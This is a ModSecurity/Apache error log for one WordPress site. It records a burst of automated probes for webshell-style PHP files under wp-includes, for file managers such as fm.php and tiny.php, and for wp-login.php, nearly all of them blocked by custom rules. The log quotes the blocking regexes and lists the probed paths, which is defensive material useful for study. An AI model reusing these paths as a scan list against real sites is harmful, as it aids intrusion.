[Mon Mar 02 22:05:06.721997 2026] [:error] [pid 59602:tid 59677] [client 216.73.160.87:27707] [client 216.73.160.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaWZEjMtSo_Fr0lHnSaAMgAAAIw"]
[Mon Mar 02 22:05:07.401966 2026] [:error] [pid 59602:tid 59666] [client 216.73.160.84:21715] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaWZEzMtSo_Fr0lHnSaANQAAAIE"]
[Mon Mar 02 22:05:08.145663 2026] [:error] [pid 59701:tid 59721] [client 216.73.160.75:49505] [client 216.73.160.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaWZFOUmTDVso96U9_LjeAAAARE"]
[Mon Mar 02 22:05:08.898703 2026] [:error] [pid 59734:tid 59738] [client 216.73.160.220:41693] [client 216.73.160.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaWZFJeWQx7ZQG9NybE3JQAAAUI"]
[Mon Mar 02 22:05:09.579642 2026] [:error] [pid 28847:tid 28852] [client 216.73.160.227:23997] [client 216.73.160.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaWZFZ9xbBq8VfeqVDZ1AQAAAMM"]
[Mon Mar 02 22:05:12.721312 2026] [:error] [pid 59734:tid 59759] [client 216.73.160.97:24907] [client 216.73.160.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaWZGJeWQx7ZQG9NybE3MQAAAVc"]
[Mon Mar 02 22:05:13.536823 2026] [:error] [pid 59600:tid 59624] [client 216.73.160.84:47737] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaWZGYQ5lE4yocV9IBd8rQAAAA8"]
[Mon Mar 02 22:05:14.304212 2026] [:error] [pid 59601:tid 59653] [client 216.73.160.223:42373] [client 216.73.160.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaWZGsQ1lXfvWN0-ZQmcCQAAAE8"]
[Mon Mar 02 22:05:14.898753 2026] [:error] [pid 59734:tid 59743] [client 216.73.160.232:25825] [client 216.73.160.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaWZGpeWQx7ZQG9NybE3QAAAAUc"]
[Mon Mar 02 22:05:18.261074 2026] [:error] [pid 59734:tid 59749] [client 216.73.160.218:36281] [client 216.73.160.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaWZHpeWQx7ZQG9NybE3RgAAAU0"]
[Mon Mar 02 22:05:19.233768 2026] [:error] [pid 59734:tid 59752] [client 216.73.160.92:45745] [client 216.73.160.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaWZH5eWQx7ZQG9NybE3SQAAAVA"]
[Mon Mar 02 22:05:23.796626 2026] [:error] [pid 28847:tid 28873] [client 216.73.160.227:31749] [client 216.73.160.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaWZI59xbBq8VfeqVDZ1JgAAANg"]
[Mon Mar 02 22:05:26.848255 2026] [:error] [pid 28847:tid 28861] [client 216.73.160.101:50889] [client 216.73.160.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaWZJp9xbBq8VfeqVDZ1NAAAAMw"]
[Mon Mar 02 22:05:35.817208 2026] [:error] [pid 59600:tid 59629] [client 216.73.160.219:25737] [client 216.73.160.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaWZL4Q5lE4yocV9IBd87QAAABQ"]
[Mon Mar 02 22:05:44.082657 2026] [:error] [pid 28847:tid 28868] [client 216.73.160.75:56581] [client 216.73.160.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaWZOJ9xbBq8VfeqVDZ1UAAAANM"]
[Mon Mar 02 22:05:46.617959 2026] [:error] [pid 59602:tid 59674] [client 216.73.160.224:56315] [client 216.73.160.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaWZOjMtSo_Fr0lHnSaATwAAAIk"]
[Mon Mar 02 22:06:14.897506 2026] [:error] [pid 59601:tid 59646] [client 216.73.160.90:56191] [client 216.73.160.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaWZVsQ1lXfvWN0-ZQmcQgAAAEg"]
[Mon Mar 02 22:06:16.408662 2026] [:error] [pid 59600:tid 59622] [client 216.73.160.224:58345] [client 216.73.160.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaWZWIQ5lE4yocV9IBd9QgAAAA0"]
[Mon Mar 02 22:06:18.099717 2026] [:error] [pid 28847:tid 28860] [client 216.73.160.216:27993] [client 216.73.160.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaWZWp9xbBq8VfeqVDZ1jwAAAMs"]
[Mon Mar 02 22:06:21.797601 2026] [:error] [pid 28847:tid 28865] [client 216.73.160.216:27993] [client 216.73.160.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaWZXZ9xbBq8VfeqVDZ1nQAAANA"]
[Mon Mar 02 22:06:26.357289 2026] [:error] [pid 28847:tid 28868] [client 216.73.160.101:39443] [client 216.73.160.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaWZYp9xbBq8VfeqVDZ1sQAAANM"]
[Mon Mar 02 22:06:27.106892 2026] [:error] [pid 59602:tid 59674] [client 216.73.160.227:35567] [client 216.73.160.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaWZYzMtSo_Fr0lHnSaArQAAAIk"]
[Mon Mar 02 22:06:33.867816 2026] [:error] [pid 59600:tid 59622] [client 216.73.160.86:62347] [client 216.73.160.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaWZaYQ5lE4yocV9IBd9eQAAAA0"]
[Mon Mar 02 22:06:34.572194 2026] [:error] [pid 59602:tid 59665] [client 216.73.160.89:39007] [client 216.73.160.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aaWZajMtSo_Fr0lHnSaAwwAAAIA"]
[Mon Mar 02 22:06:44.517672 2026] [:error] [pid 59602:tid 59666] [client 216.73.160.232:63687] [client 216.73.160.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaWZdDMtSo_Fr0lHnSaBAgAAAIE"]
[Mon Mar 02 22:06:47.265901 2026] [proxy_fcgi:error] [pid 28847:tid 28864] [client 216.73.160.218:43851] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:06:49.387028 2026] [:error] [pid 28847:tid 28851] [client 216.73.160.218:43851] [client 216.73.160.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaWZeZ9xbBq8VfeqVDZ1-AAAAMI"]
[Mon Mar 02 22:06:49.972907 2026] [:error] [pid 28847:tid 28849] [client 216.73.160.235:55945] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaWZeZ9xbBq8VfeqVDZ1_AAAAMA"]
[Mon Mar 02 22:06:52.666673 2026] [:error] [pid 28847:tid 28859] [client 216.73.160.234:20641] [client 216.73.160.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaWZfJ9xbBq8VfeqVDZ2CAAAAMo"]
[Mon Mar 02 22:06:53.364072 2026] [:error] [pid 59601:tid 59645] [client 216.73.160.221:22249] [client 216.73.160.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaWZfcQ1lXfvWN0-ZQmcUQAAAEc"]
[Mon Mar 02 22:07:07.825271 2026] [:error] [pid 59602:tid 59684] [client 216.73.160.81:48857] [client 216.73.160.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaWZizMtSo_Fr0lHnSaBNAAAAJM"]
[Mon Mar 02 22:07:08.417283 2026] [:error] [pid 59734:tid 59740] [client 216.73.160.216:24169] [client 216.73.160.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaWZjJeWQx7ZQG9NybE4FQAAAUQ"]
[Mon Mar 02 22:07:16.484322 2026] [:error] [pid 59601:tid 59659] [client 216.73.160.219:23077] [client 216.73.160.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaWZlMQ1lXfvWN0-ZQmcawAAAFU"]
[Mon Mar 02 22:07:17.191998 2026] [:error] [pid 28847:tid 28872] [client 216.73.160.227:39229] [client 216.73.160.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaWZlZ9xbBq8VfeqVDZ2OAAAANc"]
[Mon Mar 02 22:07:17.809443 2026] [:error] [pid 59600:tid 59632] [client 216.73.160.94:23323] [client 216.73.160.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaWZlYQ5lE4yocV9IBd9wQAAABc"]
[Mon Mar 02 22:07:26.398665 2026] [:error] [pid 59734:tid 59739] [client 216.73.160.91:28339] [client 216.73.160.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaWZnpeWQx7ZQG9NybE4OQAAAUM"]
[Mon Mar 02 22:07:29.089083 2026] [:error] [pid 59600:tid 59632] [client 216.73.160.79:55293] [client 216.73.160.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaWZoYQ5lE4yocV9IBd92gAAABc"]
[Mon Mar 02 22:07:41.173088 2026] [:error] [pid 59602:tid 59684] [client 216.73.160.234:65481] [client 216.73.160.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/js/wp-login.php"] [unique_id "aaWZrTMtSo_Fr0lHnSaBeAAAAJM"]
[Mon Mar 02 22:07:53.192129 2026] [:error] [pid 59602:tid 59675] [client 216.73.160.234:65481] [client 216.73.160.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aaWZuTMtSo_Fr0lHnSaBmAAAAIo"]
[Mon Mar 02 22:07:53.805622 2026] [:error] [pid 59600:tid 59615] [client 216.73.160.84:26471] [client 216.73.160.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.160.84, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaWZuYQ5lE4yocV9IBd-AwAAAAY"]
[Mon Mar 02 22:08:11.767743 2026] [proxy_fcgi:error] [pid 59600:tid 59633] [client 216.73.160.84:26471] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:08:36.262021 2026] [:error] [pid 59600:tid 59612] [client 216.73.160.84:26471] [client 216.73.160.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaWZ5IQ5lE4yocV9IBd_BAAAAAM"]
[Mon Mar 02 22:08:44.112174 2026] [:error] [pid 59600:tid 59617] [client 216.73.160.83:46137] [client 216.73.160.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaWZ7IQ5lE4yocV9IBd_HwAAAAg"]
[Mon Mar 02 22:08:49.444048 2026] [:error] [pid 59602:tid 59672] [client 216.73.160.78:22419] [client 216.73.160.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaWZ8TMtSo_Fr0lHnSaCQgAAAIc"]
[Mon Mar 02 22:09:07.301006 2026] [:error] [pid 28847:tid 28868] [client 216.73.160.92:48477] [client 216.73.160.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaWaA59xbBq8VfeqVDZ4WwAAANM"]
[Mon Mar 02 22:09:12.585805 2026] [:error] [pid 59601:tid 59662] [client 216.73.160.94:59491] [client 216.73.160.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaWaCMQ1lXfvWN0-ZQmdIgAAAFg"]
[Mon Mar 02 22:09:15.170209 2026] [:error] [pid 59600:tid 59612] [client 216.73.160.77:21009] [client 216.73.160.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaWaC4Q5lE4yocV9IBd_vAAAAAM"]
[Mon Mar 02 22:09:21.995561 2026] [proxy_fcgi:error] [pid 28847:tid 28865] [client 216.73.160.93:49755] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:09:22.318155 2026] [proxy_fcgi:error] [pid 28847:tid 28863] [client 216.73.160.93:49755] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 22:09:22.691857 2026] [:error] [pid 28847:tid 28872] [client 216.73.160.93:49755] [client 216.73.160.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaWaEp9xbBq8VfeqVDZ4swAAANc"]
[Mon Mar 02 22:09:24.110005 2026] [:error] [pid 59602:tid 59682] [client 216.73.160.225:49361] [client 216.73.160.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaWaFDMtSo_Fr0lHnSaCqQAAAJE"]
[Mon Mar 02 22:09:35.526439 2026] [:error] [pid 59602:tid 59666] [client 216.73.160.223:56851] [client 216.73.160.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaWaHzMtSo_Fr0lHnSaC3QAAAIE"]
[Mon Mar 02 22:09:38.170369 2026] [:error] [pid 59734:tid 59759] [client 216.73.160.101:24813] [client 216.73.160.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aaWaIpeWQx7ZQG9NybE5ogAAAVc"]
[Mon Mar 02 22:09:45.107597 2026] [:error] [pid 59601:tid 59638] [client 216.73.160.92:23801] [client 216.73.160.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaWaKcQ1lXfvWN0-ZQmdWQAAAEA"]
